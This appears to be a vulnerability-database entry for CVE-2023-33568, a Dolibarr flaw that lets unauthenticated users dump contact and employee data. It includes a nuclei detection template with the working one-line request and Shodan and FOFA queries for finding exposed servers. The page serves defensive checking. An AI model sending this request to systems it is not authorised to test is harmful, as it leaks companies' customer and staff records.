HexBrain

Browse / CVEs / CVE-2023-33568

CVE-2023-33568· dolibarr / dolibarr erp\/crm· CWE-552

Dolibarr Unauthenticated Contacts Database Theft

highseverity
7.5CVSS score
14.9%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

An issue in Dolibarr 16 before 16.0.5 allows unauthenticated attackers to perform a database dump and access a company's entire customer file, prospects, suppliers, and employee information if a contact file exists.

Impact

The attacker can access and steal sensitive information from the contacts database, potentially leading to data breaches and privacy violations.

Fix

Apply the latest security patch or upgrade to a patched version of Dolibarr to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/public/ticket/ajax/ajax.php?action=getContacts&email=%
Positive when: contains "\"database_name\":" and "\"database_user\":" AND status 200

Run it with nuclei: nuclei -id CVE-2023-33568 -u <target>

The full check
id: CVE-2023-33568

info:
  name: Dolibarr Unauthenticated Contacts Database Theft
  author: DhiyaneshDK
  severity: high
  description: |
    An issue in Dolibarr 16 before 16.0.5 allows unauthenticated attackers to perform a database dump and access a company's entire customer file, prospects, suppliers, and employee information if a contact file exists.
  impact: |
    The attacker can access and steal sensitive information from the contacts database, potentially leading to data breaches and privacy violations.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of Dolibarr to mitigate the vulnerability.
  reference:
    - https://www.dsecbypass.com/en/dolibarr-pre-auth-contact-database-dump/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33568
    - https://github.com/Dolibarr/dolibarr/commit/bb7b69ef43673ed403436eac05e0bc31d5033ff7
    - https://github.com/Dolibarr/dolibarr/commit/be82f51f68d738cce205f4ce5b469ef42ed82d9e
    - https://www.dolibarr.org/forum/t/dolibarr-16-0-security-breach/23471
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-33568
    cwe-id: CWE-552
    epss-score: 0.1494
    epss-percentile: 0.96732
    cpe: cpe:2.3:a:dolibarr:dolibarr_erp\/crm:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: dolibarr
    product: dolibarr_erp\/crm
    shodan-query: http.favicon.hash:440258421
    fofa-query: icon_hash=440258421
  tags: cve2023,cve,dolibarr,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/ticket/ajax/ajax.php?action=getContacts&email=%"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"database_name":'
          - '"database_user":'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from